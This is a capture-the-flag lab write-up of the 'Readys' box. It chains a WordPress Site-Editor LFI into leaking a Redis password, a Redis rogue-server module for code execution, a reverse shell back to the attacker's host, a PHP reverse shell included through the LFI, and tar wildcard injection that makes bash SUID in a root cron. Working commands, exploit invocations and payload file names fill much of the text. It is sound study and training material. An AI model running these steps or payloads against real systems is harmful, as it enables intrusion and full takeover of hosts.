Readys
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Readys runs a WordPress 5.7.2 with the Site-Editor 1.1.1 plugin, vulnerable to an LFI (CVE-2018-7422) (WordPress plugin LFI). With it we read/etc/redis/redis.confand get the Redis password, exposed on 6379. A rogue server loads a malicious module and gives us RCE as theredisuser (Redis rogue server RCE). From there we drop a PHP file in/dev/shmand run it through the same LFI: since the web server runs as alice, we get her shell. A root cron runstar ... *over a writable directory, so with wildcard injection (tar wildcard injection) we set the SUID bit onbashand become root.
Reconnaissance#
Initial scan#
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.
ping -c 1 192.168.123.16664 bytes from 192.168.123.166: icmp_seq=1 ttl=61 time=33.3 ms
We sweep the TCP ports:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.123.166 -oG scanStarting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 17:26 +0000 Initiating SYN Stealth Scan at 17:26 Scanning 192.168.123.166 [65535 ports] Discovered open port 80/tcp on 192.168.123.166 Discovered open port 22/tcp on 192.168.123.166 Discovered open port 6379/tcp on 192.168.123.166 Completed SYN Stealth Scan at 17:27, 12.49s elapsed (65535 total ports) Nmap scan report for 192.168.123.166 Host is up, received user-set (0.038s latency). Scanned at 2026-01-18 17:26:51 UTC for 12s Not shown: 65474 closed tcp ports (reset), 58 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 61 80/tcp open http syn-ack ttl 61 6379/tcp open redis syn-ack ttl 61 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 12.58 seconds Raw packets sent: 67811 (2.984MB) | Rcvd: 65477 (2.619MB)
nmap -p22,80,6379 -sCV 192.168.123.166 -oN targetedScanStarting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 17:27 +0000 Nmap scan report for 192.168.123.166 (192.168.123.166) Host is up (0.030s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA) | 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA) |_ 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-generator: WordPress 5.7.2 |_http-title: Readys – Just another WordPress site |_http-server-header: Apache/2.4.38 (Debian) 6379/tcp open redis Redis key-value store Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.60 seconds
Three services. Port 80 is a WordPress 5.7.2 on Apache, and 6379 is a Redis exposed to the network, something that should not be reachable from outside. The combination smells of an LFI/credentials in WordPress that open up Redis.
HTTP - TCP 80: WordPress#
Wappalyzer confirms the stack (WordPress 5.7.2 on Debian, MySQL, Apache):

We enumerate plugins with wpscan, which identifies Site-Editor 1.1.1:
wpscan --url http://192.168.123.166/ --enumerate ap... [i] Plugin(s) Identified: [+] site-editor | Location: http://192.168.123.166/wp-content/plugins/site-editor/ | Latest Version: 1.1.1 (up to date) | Last Updated: 2017-05-02T23:34:00.000Z | | Found By: Urls In Homepage (Passive Detection) | | Version: 1.1.1 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://192.168.123.166/wp-content/plugins/site-editor/readme.txt ...
Site-Editor 1.1.1: LFI (CVE-2018-7422)#
searchsploit documents a Local File Inclusion in that exact plugin version:
searchsploit 'site editor 1.1.1'--------------------------------------------------------------------------------------------------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------- ... WordPress Plugin Site Editor 1.1.1 - Local File Inclusion | php/webapps/44340.txt ... ---------------------------------------------------------------------------------------------------------------------------
searchsploit -x php/webapps/44340.txtExploit: WordPress Plugin Site Editor 1.1.1 - Local File Inclusion URL: https://www.exploit-db.com/exploits/44340 Path: /usr/share/exploitdb/exploits/php/webapps/44340.txt Codes: CVE-2018-7422 Verified: True File Type: Unicode text, UTF-8 text
cat 44340.txt | grep -i proof -A 1** Proof of Concept ** http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
The ajax_path parameter of the ajax_shortcode_pattern.php endpoint is included without sanitization, so it points to any file on disk (WordPress plugin LFI).
Exploitation#
LFI: from /etc/passwd to the Redis credentials#
We confirm the LFI by reading /etc/passwd:
curl http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwdroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin ...
curl http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd 2>/dev/null | grep bashroot:x:0:0:root:/root:/bin/bash alice:x:1000:1000::/home/alice:/bin/bash
There is an alice user with a shell. Since 6379 is open, we read the Redis configuration through the same LFI, hunting for its password:
curl http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf 2>/dev/null | grep -i pass... # use a very strong password otherwise it will be very easy to break. requirepass Ready4Redis?
The requirepass Ready4Redis? directive gives us Redis's authentication credential.
Redis: RCE via rogue server#
With the password we can authenticate to Redis. A remote, writable Redis allows command execution by loading a malicious module through the rogue server trick: we pose as a replication master, serve it a .so with a new command and invoke it (Redis rogue server RCE).
We keep Penelope listening on its default 4444, which is the port the exploit connects back to:
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 192.168.45.244
We use redis-rce along with the exp.so module:
git clone https://github.com/Ridter/redis-rce
cd redis-rce
wget https://github.com/n0b0dyCN/redis-rogue-server/raw/refs/heads/master/exp.so &>/dev/nulllsREADME.md exp.so redis-rce.py requirements.txt
python3 redis-rce.py -r 192.168.123.166 -p 6379 -L 192.168.45.244 -P 80 -f exp.so -a 'Ready4Redis?'... [*] Connecting to 192.168.123.166:6379 ... [*] Sending SLAVEOF command to server [+] Accepted connection from 192.168.123.166:6379 [*] Setting filename [+] Accepted connection from 192.168.123.166:6379 [*] Start listening on 192.168.45.244:80 [*] Tring to run payload [+] Accepted connection from 192.168.123.166:37003 [*] Closing rogue server ... [+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: r [*] Open reverse shell ... [*] Reverse server address: 192.168.45.244 [*] Reverse server port: 4444 [+] Reverse shell payload sent. [*] Check at 192.168.45.244:4444 [*] Clean up..
We pick the reverse-shell option and get execution as the redis user (uid 107):

[+] Got reverse shell from readys~192.168.123.166-Linux-x86_64 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/sessions/readys~192.168.123.166-Linux-x86_64/2026_01_18-18_46_09-389.logredis@readys:/var/lib/redis$ id
uid=107(redis) gid=114(redis) groups=114(redis)Post-exploitation#
Pivot to alice: run PHP via the LFI#
The redis user does not have the flag; we need alice. A key hint: the website directory belongs to alice, which means the web server runs PHP under her identity:
ls -l /var/www/redis@readys:/dev/shm$ ls -l /var/www/ total 4 drwxr-xr-x 5 alice alice 4096 Nov 16 2021 html
We combine the two primitives. The payload comes from revshells.com, with our IP and port 4443, picking the PHP PentestMonkey template (the one that expects a /bin/bash on the target, which is what we have here).
As redis, we write that PHP reverse shell into a world-readable directory, /dev/shm (redis's home does not let us, but /dev/shm does):
nano rev.phpUnable to create directory /var/lib/redis/.local/share/nano/: Permission denied It is required for saving/loading search history or cursor positions. Press Enter to continue
ls -ltotal 4 -rw-rw-r-- 1 redis redis 2596 Jan 18 14:33 rev.php
Then we use the same LFI to include that rev.php. On inclusion it is interpreted by the web server, which runs as alice, and the reverse shell comes in under her identity:
http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/dev/shm/rev.phpThe request is sent from the browser, and the connection lands on the nc listening on 4443:
nc -nlvp 4443listening on [any] 4443 ... connect to [192.168.45.244] from (UNKNOWN) [192.168.123.166] 50410 Linux readys 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_ 14:34:44 up 53 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1000(alice) gid=1000(alice) groups=1000(alice) bash: cannot set terminal process group (508): Inappropriate ioctl for bash: no job control in this shell alice@readys:/$ whoami whoami alice alice@readys:/$
Local#
cat local.txt && whoami && ip a && hostnamee8497c48f57e473eca7b36e4d8f895e1 alice 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:50:56:9e:b0:69 brd ff:ff:ff:ff:ff:ff inet 192.168.123.166/24 brd 192.168.123.255 scope global ens192 valid_lft forever preferred_lft forever inet6 fe80::250:56ff:fe9e:b069/64 scope link valid_lft forever preferred_lft forever readys
Privilege escalation: wildcard injection in a root cron#
Enumerating scheduled tasks we find a root cron running a backup script every 3 minutes:
cat /etc/crontab*/3 * * * * root /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh#!/bin/bash cd /var/www/html if [ $(find . -type f -mmin -3 | wc -l) -gt 0 ]; then tar -cf /opt/backups/website.tar * fi
The flaw is in tar -cf ... *: the * wildcard expands to the directory's file names, and alice can write to /var/www/html. If we create files whose names are tar options, they sneak in as arguments. tar supports --checkpoint and --checkpoint-action=exec=..., which runs a command (tar wildcard injection). We create the option files and a payload that sets the SUID bit on bash:
echo "" > '--checkpoint=1' echo "" > '--checkpoint-action=exec=sh payload.sh' echo 'chmod u+s /bin/bash' > payload.sh chmod +x payload.shalice@readys:/var/www/html$ echo "" > '--checkpoint=1' alice@readys:/var/www/html$ echo "" > '--checkpoint-action=exec=sh payload.sh' alice@readys:/var/www/html$ echo 'chmod u+s /bin/bash' > payload.sh alice@readys:/var/www/html$ chmod +x payload.sh
We touch a file so find -mmin -3 triggers tar. On the next cron run, root runs tar with our options, executes payload.sh and bash becomes SUID. A bash -p gives us root:
ls -l /bin/bash bash -p whoamialice@readys:/var/www/html$ ls -l /bin/bash -rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash alice@readys:/var/www/html$ bash -p bash-5.0# whoami root
Proof#
cat /root/proof.txt && whoami && hostname && ip a6397e52868e96f9325c1234239cace0f root readys 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:50:56:9e:b0:69 brd ff:ff:ff:ff:ff:ff inet 192.168.123.166/24 brd 192.168.123.255 scope global ens192 valid_lft forever preferred_lft forever inet6 fe80::250:56ff:fe9e:b069/64 scope link valid_lft forever preferred_lft forever
Attack chain#
WordPress 5.7.2 + Site-Editor 1.1.1 -- LFI (CVE-2018-7422)
│ read /etc/redis/redis.conf -> requirepass Ready4Redis?
▼
authenticated Redis (6379) -- rogue server + exp.so
│ RCE as user redis
▼
redis writes rev.php in /dev/shm -> LFI includes it -> Apache (alice) runs it
▼
shell as alice (local.txt)
│ root cron: tar -cf ... * in writable /var/www/html
▼
wildcard injection (--checkpoint-action=exec) -> SUID on bash -> root (proof.txt)Lessons learned#
- An LFI is not just reading
/etc/passwd. Here it chained two jumps: first it leaked the Redis password, then it served as the trigger to run our PHP under the web server's identity. The same primitive, used twice for two different ends. - Redis without network restrictions is RCE. Exposed and with a known password, the rogue-server trick loads a native module and runs commands. Redis should listen on loopback only and, even so, is not a service meant to be exposed.
- Who runs the code matters as much as the code. We moved from
redistoalicewith no passwords: it was enough that the process interpreting the PHP ran asalice. Always check the identity each thing runs under. tar *in a root cron is a lethal classic. The wildcard mixes data and arguments; with--checkpoint-action=execit becomes execution as root. Anchor paths (./), avoid the glob, or use--to stop option parsing.